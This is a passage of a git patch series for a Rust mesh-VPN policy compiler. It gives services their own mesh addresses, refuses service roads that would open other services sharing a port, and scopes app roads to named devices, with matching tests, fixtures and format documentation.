Place::Device(k) => (devs.devices.get(k).map(|d| Net::host(d.address.0)), None), Place::Service(h) => match devs.service(h) { - Some((d, s)) => (Some(Net::host(d.address.0)), Some(s.ports.clone())), + Some((d, s)) => (Some(Net::host(s.endpoint(d).0)), Some(s.ports.clone())), None => (None, None), }, Place::Subnet(n) => (Some(*n), None), diff --git a/crates/roads/src/plan.rs b/crates/roads/src/plan.rs index 88deb15..e4f3eb8 100644 --- a/crates/roads/src/plan.rs +++ b/crates/roads/src/plan.rs @@ -15,6 +15,8 @@ pub struct Plan { pub device: DeviceKey, pub name: String, pub address: Addr, + /// The services this device hosts on an address of their own: it answers on these too (sorted by host). + pub services: Vec, /// This device is a classic WireGuard peer: not post-quantum. pub classic: bool, /// The earliest `until` of the roads this plan was built from, UTC: compile again by then. @@ -105,6 +107,13 @@ pub struct Rule { pub roads: Vec, } +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ServiceAddress { + pub host: Hostname, + pub address: Addr, +} + #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[serde(deny_unknown_fields)] pub struct Dns { diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs index 04ccee5..f021b6d 100644 --- a/crates/roads/src/rules.rs +++ b/crates/roads/src/rules.rs @@ -34,6 +34,7 @@ pub const UNTIL_FORMAT: &str = "until.format"; pub const CREATED_FORMAT: &str = "created.format"; pub const PORTS_FORMAT: &str = "ports.format"; pub const PORTS_NOT_SERVED: &str = "ports.not-served"; +pub const SERVICE_SHARED: &str = "service.shared"; pub const VIA_FORMAT: &str = "via.format"; pub const VIA_UNKNOWN: &str = "via.unknown"; pub const VIA_NOT_RELAY: &str = "via.not-relay"; @@ -104,6 +105,7 @@ pub const ALL: &[&str] = &[ CREATED_FORMAT, PORTS_FORMAT, PORTS_NOT_SERVED, + SERVICE_SHARED, VIA_FORMAT, VIA_UNKNOWN, VIA_NOT_RELAY, diff --git a/crates/roads/src/snapshot.rs b/crates/roads/src/snapshot.rs index d2300f0..b42d14c 100644 --- a/crates/roads/src/snapshot.rs +++ b/crates/roads/src/snapshot.rs @@ -45,6 +45,17 @@ pub struct Directory { pub struct Service { pub host: Hostname, pub ports: Vec, + /// The service's own mesh address on its device, if it has one. A firewall sees addresses and ports, not + /// hostnames, so only a service with its own address (or alone on its ports) can be granted by itself + /// (QA F-01). + pub address: Option, +} + +impl Service { + /// Where a road to this service sends traffic: its own address, or its device's. + pub fn endpoint(&self, device: &Device) -> Addr { + self.address.unwrap_or(device.address) + } } #[derive(Debug, Clone, PartialEq, Eq)] @@ -79,9 +90,15 @@ impl Devices { .find_map(|d| d.services.iter().find(|s| &s.host == host).map(|s| (d, s))) } - /// Every mesh address: each device's own. Never goes direct (QA F-02). + /// Every mesh address: each device's own and its services' own. Never goes direct (QA F-02). pub fn mesh_addresses(&self) -> impl Iterator { - self.devices.values().map(|d| (d, d.address)) + self.devices.values().flat_map(|d| { + std::iter::once((d, d.address)).chain( + d.services + .iter() + .filter_map(move |s| s.address.map(|a| (d, a))), + ) + }) } /// The one device whose routes cover `net`. @@ -148,6 +165,8 @@ struct RawDevice { struct RawService { host: String, ports: Vec, + #[serde(default)] + address: Option, } fn read_json Deserialize<'de>>(path: &str, bytes: &[u8]) -> Result> { @@ -172,6 +191,22 @@ fn read_json Deserialize<'de>>(path: &str, bytes: &[u8]) -> Result Option { + let a = text.parse::().ok()?; + let n = Net::host(a); + (a.to_string() == text && !n.is_special() && !n.embeds_ipv4() && !n.reaches_internet()) + .then_some(Addr(a)) +} + +fn not_mesh(text: &str) -> String { + format!( + "`{}` is not one private IP address (a mesh address is never loopback, link-local, multicast, embedded IPv4 or on the internet; use 100.64.0.0/10 or a ULA)", + clip(text) + ) +} + fn good_name(s: &str) -> bool { let n = s.chars().count(); (1..=100).contains(&n) && !s.chars().any(is_hidden_char) && s.trim() == s @@ -399,33 +434,19 @@ impl Devices { } }, }; - let address = match d.address.parse::() { - // A mesh address is never an internet address, so an exit's `internet` rule can never - // cover another device of the mesh (QA F-08). - Ok(a) - if a.to_string() == d.address - && !Net::host(a).is_special() - && !Net::host(a).embeds_ipv4() - && !Net::host(a).reaches_internet() => - { - if !addresses.insert(a) { + let address = match mesh_address(&d.address) { + Some(a) => { + if !addresses.insert(a.0) { e( f("address"), r::DEVICES_ADDRESS, - format!("{a} is used by two devices"), + format!("{a} is used twice"), ); } - Some(Addr(a)) + Some(a) } - _ => { - e( - f("address"), - r::DEVICES_ADDRESS, - format!( - "`{}` is not one private IP address (a mesh address is never loopback, link-local, multicast, embedded IPv4 or on the internet; 100.64.0.0/10 or a ULA)", - clip(&d.address) - ), - ); + None => { + e(f("address"), r::DEVICES_ADDRESS, not_mesh(&d.address)); None } }; @@ -496,7 +517,29 @@ impl Devices { "a service lists the ports it serves".into(), ); } - services.push(Service { host, ports }); + let field = format!("devices[{i}].services[{j}].address"); + let address = match s.address.as_deref().map(mesh_address) { + None => None, + Some(Some(a)) => { + if !addresses.insert(a.0) { + e(field, r::DEVICES_ADDRESS, format!("{a} is used twice")); + } + Some(a) + } + Some(None) => { + e( + field, + r::DEVICES_ADDRESS, + not_mesh(s.address.as_deref().unwrap_or_default()), + ); + None + } + }; + services.push(Service { + host, + ports, + address, + }); } services.sort_by(|a, b| a.host.cmp(&b.host)); let Some(address) = address else { continue }; @@ -535,15 +578,12 @@ impl Devices { ); } } - for d in out.devices.values() { - if na.contains_addr(&d.address.0) { + for (d, a) in out.mesh_addresses() { + if na.contains_addr(&a.0) { e( format!("devices.{}.address", d.name), r::DEVICES_ADDRESS, - format!( - "{} of {} is inside the route {na} of {}", - d.address, d.name, da.name - ), + format!("{a} of {} is inside the route {na} of {}", d.name, da.name), ); } } diff --git a/crates/roads/tests/explain.rs b/crates/roads/tests/explain.rs index 33a4018..bab247d 100644 --- a/crates/roads/tests/explain.rs +++ b/crates/roads/tests/explain.rs @@ -33,8 +33,8 @@ fn allowed_lists_exactly_the_allowing_roads() { ); assert_eq!( ids(&home, 3, &Place::Device(key(2))), - ["7tq0mz", "k3f9q2"], - "a service road reaches part of the device" + ["k3f9q2"], + "photos has its own address (QA F-01): its road reaches that, not the device's own address" ); assert_eq!(ids(&home, 1, &subnet("192.168.100.0/24")), ["h2x8vd"]); assert_eq!( diff --git a/crates/roads/tests/fixtures/home/devices.json b/crates/roads/tests/fixtures/home/devices.json index 0a20409..e9f9d51 100644 --- a/crates/roads/tests/fixtures/home/devices.json +++ b/crates/roads/tests/fixtures/home/devices.json @@ -5,7 +5,7 @@ { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, "routes": ["192.168.100.0/24"], "services": [ - { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "photos.home.arpa", "ports": ["tcp/443"], "address": "100.96.1.2" }, { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } ] }, { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, diff --git a/crates/roads/tests/fixtures/home/expected/friend-node.json b/crates/roads/tests/fixtures/home/expected/friend-node.json index 7dd1ee1..4309c0d 100644 --- a/crates/roads/tests/fixtures/home/expected/friend-node.json +++ b/crates/roads/tests/fixtures/home/expected/friend-node.json @@ -3,6 +3,7 @@ "device": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "address": "100.96.0.6", + "services": [], "classic": false, "expires": null, "peers": [ diff --git a/crates/roads/tests/fixtures/home/expected/home-server.json b/crates/roads/tests/fixtures/home/expected/home-server.json index b6d5406..322508b 100644 --- a/crates/roads/tests/fixtures/home/expected/home-server.json +++ b/crates/roads/tests/fixtures/home/expected/home-server.json @@ -3,6 +3,12 @@ "device": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "address": "100.96.0.2", + "services": [ + { + "host": "photos.home.arpa", + "address": "100.96.1.2" + } + ], "classic": false, "expires": "2026-11-29T22:59:59Z", "peers": [ @@ -76,6 +82,16 @@ "k3f9q2" ] }, + { + "direction": "in", + "src": "100.96.0.1/32", + "dst": "100.96.1.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, { "direction": "in", "src": "100.96.0.3/32", @@ -89,7 +105,17 @@ { "direction": "in", "src": "100.96.0.3/32", - "dst": "100.96.0.2/32", + "dst": "100.96.1.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.3/32", + "dst": "100.96.1.2/32", "proto": "tcp", "ports": [ 443, @@ -112,7 +138,17 @@ { "direction": "in", "src": "100.96.0.4/32", - "dst": "100.96.0.2/32", + "dst": "100.96.1.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.4/32", + "dst": "100.96.1.2/32", "proto": "tcp", "ports": [ 443, @@ -148,6 +184,32 @@ "r8m2tg" ] }, + { + "direction": "in", + "src": "100.96.0.5/32", + "dst": "100.96.1.2/32", + "proto": "tcp", + "ports": [ + 22, + 22 + ], + "roads": [ + "r8m2tg" + ] + }, + { + "direction": "in", + "src": "100.96.0.5/32", + "dst": "100.96.1.2/32", + "proto": "udp", + "ports": [ + 53, + 53 + ], + "roads": [ + "r8m2tg" + ] + }, { "direction": "forward", "src": "100.96.0.1/32", diff --git a/crates/roads/tests/fixtures/home/expected/jana-laptop.json b/crates/roads/tests/fixtures/home/expected/jana-laptop.json index e847431..339e047 100644 --- a/crates/roads/tests/fixtures/home/expected/jana-laptop.json +++ b/crates/roads/tests/fixtures/home/expected/jana-laptop.json @@ -3,6 +3,7 @@ "device": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "address": "100.96.0.4", + "services": [], "classic": false, "expires": "2026-11-29T22:59:59Z", "peers": [ @@ -12,7 +13,8 @@ "address": "100.96.0.2", "classic": false, "allowed_ips": [ - "100.96.0.2/32" + "100.96.0.2/32", + "100.96.1.2/32" ], "via": null, "roads": [ @@ -28,7 +30,7 @@ "dns": [ { "host": "photos.home.arpa", - "address": "100.96.0.2", + "address": "100.96.1.2", "roads": [ "7tq0mz" ] @@ -41,7 +43,8 @@ "app": "steam", "subnet": "0.0.0.0/0", "except": [ - "100.96.0.2/32" + "100.96.0.2/32", + "100.96.1.2/32" ], "roads": [ "e5yj1s" diff --git a/crates/roads/tests/fixtures/home/expected/jana-phone.json b/crates/roads/tests/fixtures/home/expected/jana-phone.json index e8ebffe..6f84c62 100644 --- a/crates/roads/tests/fixtures/home/expected/jana-phone.json +++ b/crates/roads/tests/fixtures/home/expected/jana-phone.json @@ -3,6 +3,7 @@ "device": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "address": "100.96.0.3", + "services": [], "classic": false, "expires": "2026-11-29T22:59:59Z", "peers": [ @@ -12,7 +13,8 @@ "address": "100.96.0.2", "classic": false, "allowed_ips": [ - "100.96.0.2/32" + "100.96.0.2/32", + "100.96.1.2/32" ], "via": null, "roads": [ @@ -28,7 +30,7 @@ "dns": [ { "host": "photos.home.arpa", - "address": "100.96.0.2", + "address": "100.96.1.2", "roads": [ "7tq0mz" ] @@ -41,7 +43,8 @@ "app": "steam", "subnet": "0.0.0.0/0", "except": [ - "100.96.0.2/32" + "100.96.0.2/32", + "100.96.1.2/32" ], "roads": [ "e5yj1s" diff --git a/crates/roads/tests/fixtures/home/expected/mark-pc.json b/crates/roads/tests/fixtures/home/expected/mark-pc.json index f6c8f47..ec686b4 100644 --- a/crates/roads/tests/fixtures/home/expected/mark-pc.json +++ b/crates/roads/tests/fixtures/home/expected/mark-pc.json @@ -3,6 +3,7 @@ "device": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "address": "100.96.0.1", + "services": [], "classic": false, "expires": null, "peers": [ @@ -14,6 +15,7 @@ "allowed_ips": [ "0.0.0.0/0", "100.96.0.2/32", + "100.96.1.2/32", "192.168.100.0/24", "::/0" ], diff --git a/crates/roads/tests/fixtures/home/expected/petr-phone.json b/crates/roads/tests/fixtures/home/expected/petr-phone.json index d6c3d3d..681be0f 100644 --- a/crates/roads/tests/fixtures/home/expected/petr-phone.json +++ b/crates/roads/tests/fixtures/home/expected/petr-phone.json @@ -3,6 +3,7 @@ "device": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "address": "100.96.0.7", + "services": [], "classic": false, "expires": null, "peers": [ diff --git a/crates/roads/tests/fixtures/home/expected/router.json b/crates/roads/tests/fixtures/home/expected/router.json index a52be62..99dd17a 100644 --- a/crates/roads/tests/fixtures/home/expected/router.json +++ b/crates/roads/tests/fixtures/home/expected/router.json @@ -3,6 +3,7 @@ "device": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", + "services": [], "classic": true, "expires": null, "peers": [ @@ -12,7 +13,8 @@ "address": "100.96.0.2", "classic": false, "allowed_ips": [ - "100.96.0.2/32" + "100.96.0.2/32", + "100.96.1.2/32" ], "via": null, "roads": [ @@ -32,7 +34,8 @@ "app": "steam", "subnet": "0.0.0.0/0", "except": [ - "100.96.0.2/32" + "100.96.0.2/32", + "100.96.1.2/32" ], "roads": [ "e5yj1s" diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt index db7c940..29de0f6 100644 --- a/crates/roads/tests/fixtures/invalid/expect.txt +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -75,3 +75,6 @@ devices route-link-local.devices.json devices.route devices[1].routes[0] devices route-overlap.devices.json devices.overlap devices.friend-node.routes devices service-host.devices.json devices.service devices[1].services[0].host devices service-no-ports.devices.json devices.ports devices[1].services[0].ports +devices service-address-twice.devices.json devices.address devices[1].services[0].address +devices service-address-public.devices.json devices.address devices[1].services[0].address +devices service-address-in-route.devices.json devices.address devices.home-server.address diff --git a/crates/roads/tests/fixtures/invalid/snapshots/service-address-in-route.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/service-address-in-route.devices.json new file mode 100644 index 0000000..fdaafcd --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/service-address-in-route.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"], "address": "192.168.100.9" }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/service-address-public.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/service-address-public.devices.json new file mode 100644 index 0000000..a7d9ada --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/service-address-public.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"], "address": "203.0.114.9" }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/service-address-twice.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/service-address-twice.devices.json new file mode 100644 index 0000000..0b7f97d --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/service-address-twice.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"], "address": "100.96.0.1" }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 814c379..cc634fb 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -29,7 +29,6 @@ fn with(parts: Parts, r: (String, String)) -> Parts { /// only say "Jana's address may reach 100.96.0.2 on tcp/443", and photos and git both live there on tcp/443, /// so "Jana can reach Photos" is also "Jana can reach Git"; `explain` admits it. #[test] -#[ignore = "QA F-01 (blocker): a service road grants every service on the same host and port"] fn f01_a_service_road_grants_only_that_service() { // Without the household road, Jana's only road to the home server is 7tq0mz: photos, tcp/443. let parts = Parts::home().without_road("k3f9q2"); @@ -48,6 +47,67 @@ fn f01_a_service_road_grants_only_that_service() { ); } +/// F-01, the other half: without its own address, photos shares home-server:443 with git, and the road to +/// photos is refused, naming git, instead of opening both. A `ports:` that avoids the shared port is allowed. +#[test] +fn f01_a_service_that_shares_its_address_and_port_is_refused() { + let parts = Parts::home().edit_devices(|d| d.replace(r#", "address": "100.96.1.2""#, "")); + let c = parts.compile(); + let p = c + .problems + .iter() + .find(|p| p.path.contains("7tq0mz") && p.code == roads::rules::SERVICE_SHARED); + assert!( + p.is_some_and(|p| p.is_error() && p.message.contains("git.home.arpa")), + "{:?}", + c.problems + ); + assert!( + !c.plans[&key(3)] + .dns + .iter() + .any(|d| d.host.as_str() == "photos.home.arpa"), + "the refused road still granted" + ); + // Git alone on tcp/22 shares nothing: a road narrowed to it compiles. + let narrowed = Parts::home() + .edit_devices(|d| d.replace(r#", "address": "100.96.1.2""#, "")) + .with_road( + "f01aaa-jana-git-ssh.md", + "---\nid: f01aaa\nsubject: person:jana\nverb: can-reach\nobject: service:git.home.arpa\nports: [tcp/22]\ncreated: 2026-11-25T10:00:00Z\n---\n", + ) + .compile(); + assert!( + !narrowed.problems.iter().any(|p| p.path.contains("f01aaa")), + "{:?}", + narrowed.problems + ); +} + +/// F-01: with its own address, photos is granted by itself: the rule's destination is that address, the +/// home server's plan answers on it, and Jana's DNS points there. +#[test] +fn f01_a_service_with_its_own_address_is_granted_alone() { + let c = Parts::home().without_road("k3f9q2").compile(); + let server = &c.plans[&key(2)]; + assert!(server.services.iter().any(|s| s.host.as_str() == "photos.home.arpa" && s.address.to_string() == "100.96.1.2")); + let to_photos: Vec<_> = server + .firewall + .rules + .iter() + .filter(|r| r.roads.iter().any(|id| id.as_str() == "7tq0mz")) + .collect(); + assert!(!to_photos.is_empty()); + assert!( + to_photos + .iter() + .all(|r| matches!(r.dst, Dst::Net(n) if n.to_string() == "100.96.1.2/32")), + "{to_photos:?}" + ); + let phone = &c.plans[&key(3)]; + assert!(phone.dns.iter().any(|d| d.host.as_str() == "photos.home.arpa" && d.address.to_string() == "100.96.1.2")); +} + /// F-02. `goes-direct` may name the mesh's own addresses or a subnet the mesh routes. Then traffic that the /// plan also routes into the tunnel is told to bypass it, on whatever network the device is on, and the /// kill switch does not stop it because the subnet is "private". diff --git a/crates/roads/tests/revocation.rs b/crates/roads/tests/revocation.rs index b5a7dc3..8198248 100644 --- a/crates/roads/tests/revocation.rs +++ b/crates/roads/tests/revocation.rs @@ -8,7 +8,8 @@ use common::{Parts, at, fw_accepts, key}; use roads::{Hostname, Place, compile, explain}; use std::net::IpAddr; -const PHOTOS_HOST: &str = "100.96.0.2"; +/// photos.home.arpa's own address on the home server (QA F-01: a service road reaches only its service). +const PHOTOS_HOST: &str = "100.96.1.2"; fn home_server() -> IpAddr { PHOTOS_HOST.parse().unwrap() diff --git a/crates/roads/tests/validation.rs b/crates/roads/tests/validation.rs index 635ba7d..e474580 100644 --- a/crates/roads/tests/validation.rs +++ b/crates/roads/tests/validation.rs @@ -267,6 +267,27 @@ fn generated(baseline: &[u8]) -> BTreeSet { c.problems ); hit.insert(rules::ROAD_FAMILY.into()); + // service.shared: without its own address, photos shares home-server:443 with git (QA F-01). The road + // grants nothing: the plans equal those of the same store without it. + let shared = Parts::home().edit_devices(|d| d.replace(r#", "address": "100.96.1.2""#, "")); + let c = shared.compile(); + assert!( + c.problems + .iter() + .any(|p| p.path == "roads/7tq0mz-jana-photos-until-sunday.md" + && p.code == rules::SERVICE_SHARED + && p.field.as_deref() == Some("object") + && p.is_error()), + "{:?}", + c.problems + ); + let without = shared.without_road("7tq0mz").compile(); + assert_eq!( + plans_bytes(&c), + plans_bytes(&without), + "a refused service road granted" + ); + hit.insert(rules::SERVICE_SHARED.into()); hit } diff --git a/docs/FORMATS.md b/docs/FORMATS.md index 6d04192..49d0440 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -57,7 +57,7 @@ is not `key: value`, or a bad quoted string, is `yaml.syntax`. | `id` | yes | 6 characters of `0123456789abcdefghjkmnpqrstvwxyz` (no `i l o u`), random | `id.format`; must equal the file name's prefix (`id.file-name`); unique in the store (`id.duplicate`, both files grant nothing) | | `subject` | yes | a reference (below): `person:`, `group:`, `device:` or `app:` | `ref.format`, `subject.kind` (not allowed for the verb), `subject.unknown` (not in the snapshots) | | `verb` | yes | `can-reach`, `exits-through`, `goes-direct`, `never-online-without`, `custom` | `verb.unknown` | -| `object` | yes, except `custom` (where it is not allowed) | a reference: `device:`, `subnet:`, `service:` or `exit:` | `ref.format`, `object.kind`, `object.unknown`, `object.not-exit`, `subnet.not-canonical`, `subnet.unrouted`; a `goes-direct` subnet other than `/0` that holds a mesh address is `direct.mesh` (mesh traffic never goes direct, QA F-02) | +| `object` | yes, except `custom` (where it is not allowed) | a reference: `device:`, `subnet:`, `service:` or `exit:` | `ref.format`, `object.kind`, `object.unknown`, `object.not-exit`, `subnet.not-canonical`, `subnet.unrouted`, `service.shared` (a service that shares its address and a port with another: its rule would open both, QA F-01); a `goes-direct` subnet other than `/0` that holds a mesh address is `direct.mesh` (mesh traffic never goes direct, QA F-02) | | `until` | no | RFC 3339 with an offset: `2026-11-29T23:59:59+01:00` or `…Z`; exclusive | `until.format`; `until <= now` makes the road *inactive* (`road.expired`) | | `ports` | no; only `can-reach` | a list of `tcp/443`, `udp/53`, `tcp/8000-8100`, `tcp`, `udp`, `icmp`; absent means all traffic | `ports.format`; for a service, every port must be one it serves (`ports.not-served`) | | `via` | no; only `can-reach` | `device:` of a device with `relay` or `exit` | `via.format`, `via.unknown`, `via.not-relay` | @@ -184,6 +184,7 @@ what makes the snapshot unreadable: bad JSON, a wrong format, a malformed or dup | `routes` | `[]` | canonical subnets this device routes for the mesh: private only, so not `/0`, nothing that reaches the internet (use an exit), nothing loopback, link-local, multicast, reserved or IPv4-embedding; no overlap with another device's (`devices.route`, `devices.overlap`). This is also why two peers of one device can never hold the same prefix | | `services[].host` | — | an Ianitor hostname, unique across devices (`devices.service`) | | `services[].ports` | — | a non-empty port list (`devices.ports`) | +| `services[].address` | none | the service's own mesh address on this device, under the same rules as a device `address` and unique among all of them (`devices.address`). A firewall sees addresses and ports, not hostnames: a road to a service compiles to its own address when it has one, else to the device's, and a road to a service that shares that address **and** a port with another service is refused (`service.shared`, QA F-01), because its rule would open the other one too | ## The plan @@ -195,6 +196,7 @@ entry. |:--|:--| | `format` | `1` | | `device`, `name`, `address`, `classic` | this device | +| `services[]` | `{host, address}`: the services this device hosts on an address of their own; it must answer on each (QA F-01). A road to such a service reaches that address only; a `device:` road reaches the device's address and all of these | | `expires` | the earliest `until` (UTC, `Z`) of every road this plan was built from, on the subject's plan and on the serving device's alike; the engine must stop applying the plan at that instant even if nothing recompiles (QA R-26); `null` if none | | `peers[]` | `key`, `name`, `address`, `classic` (*not post-quantum* when true), `allowed_ips` (sorted CIDRs), `via` (a path hint or `null`), `roads` | | `firewall.default` | always `"deny"` | From b482e264d2b42d5541750bc8b06bbb3e718efbc0 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 09:04:50 +0100 Subject: [PATCH 18/25] [roads] QA B-3: an app road names whose devices it is for, and reaches only those subject: app: applied to every device in the mesh, so whoever could write one road (app:steam goes-direct 0.0.0.0/0) changed the tunnel of other people's devices, an exit and a classic router. An app road now needs the new header key on: (a person, group or device), and reaches only those devices; on: is forbidden on any other subject. The home fixture's steam road is on Mark's devices, so it leaves Jana's, Petr's and the router's plans. Four fixtures, a B-3 test (fails if app roads reach every device again), the property generator scopes app roads to a person, and the R-55 renaming rewrites on: like subject:. --- crates/proto/tests/jana-phone.digest | 2 +- crates/roads/src/compile.rs | 43 ++++++++--- crates/roads/src/road.rs | 72 +++++++++++++++++-- .../fixtures/home/expected/friend-node.json | 13 +--- .../fixtures/home/expected/jana-laptop.json | 14 +--- .../fixtures/home/expected/jana-phone.json | 14 +--- .../fixtures/home/expected/petr-phone.json | 11 +-- .../tests/fixtures/home/expected/router.json | 14 +--- .../home/roads/e5yj1s-steam-goes-direct.md | 3 +- .../roads/tests/fixtures/invalid/expect.txt | 4 ++ .../invalid/roads/a00050-app-everyone.md | 7 ++ .../invalid/roads/a00051-on-not-app.md | 8 +++ .../invalid/roads/a00052-on-nobody.md | 8 +++ .../invalid/roads/a00053-on-service.md | 8 +++ crates/roads/tests/least_privilege.rs | 9 +-- crates/roads/tests/qa_findings.rs | 26 +++++++ crates/roads/tests/rename.rs | 2 +- docs/FORMATS.md | 5 +- 18 files changed, 179 insertions(+), 84 deletions(-) create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00050-app-everyone.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00051-on-not-app.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00052-on-nobody.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00053-on-service.md diff --git a/crates/proto/tests/jana-phone.digest b/crates/proto/tests/jana-phone.digest index 607df85..2b58160 100644 --- a/crates/proto/tests/jana-phone.digest +++ b/crates/proto/tests/jana-phone.digest @@ -1 +1 @@ -bfcecb172d2f1edc0ea152e1f0e05ad7b89a05ad14b27e22651a5ee6379e0917 +8eaa80e6c40ff1541d125f0755fbdddc775f9210e830f2868d4b5e5cf05c1fa4 diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs index 6a3f550..286dbdb 100644 --- a/crates/roads/src/compile.rs +++ b/crates/roads/src/compile.rs @@ -95,9 +95,22 @@ impl Extras { } } -/// The devices a subject covers: a person's are the devices they own; a group's, its members'; an app's, every -/// device. -pub fn subject_devices(subject: &Subject, dir: &Directory, devs: 